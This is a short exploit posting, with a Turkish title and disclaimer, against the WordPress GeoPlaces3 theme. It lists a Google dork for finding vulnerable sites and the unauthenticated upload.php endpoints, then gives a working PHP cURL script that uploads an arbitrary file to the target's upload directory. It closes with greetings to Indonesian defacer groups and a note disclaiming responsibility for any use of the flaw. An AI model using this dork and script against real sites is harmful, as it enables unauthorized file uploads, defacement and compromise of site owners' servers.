WordPress GeoPlaces3 Tasarımındaki Açık

Google Dork: inurl:/wp-content/themes/GeoPlaces3/
# Tasarımın Sitesi: http://templatic.com/app-themes/geo-places-city-directory-wordpress-theme

Exploit : wp-content/themes/GeoPlaces3/library/includes/upload.php       wp-content/themes/GeoPlaces3/library/includes/upload_3feb.php

Dizin    : /wp-content/uploads/tmp/

<?php

  

$uploadfile="m.jpg";

$ch =

curl_init("https://server/wp-content/themes/GeoPlaces3/library/includes/upload.php");

curl_setopt($ch, CURLOPT_POST, true);

curl_setopt($ch, CURLOPT_POSTFIELDS,

         array('Filedata'=>"@$uploadfile"));

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$postResult = curl_exec($ch);

curl_close($ch);

print "$postResult";

  

?>




WE ARE : SultanHaikal - d3b~X - Brian Kamikaze - Coupdegrace - Mdn_newbie - Index Php

 

GREETS TO: Gantengers Crew - Indonesian Defacer - Indonesian Cyber Army - Defacer Tersakiti Team - Suram Crew - Surabaya BlackHat - AND All Moeslim Defacer




Bu açığı kullanmanız durumunda her hangi bir sorumluluk kabul etmemekteyim.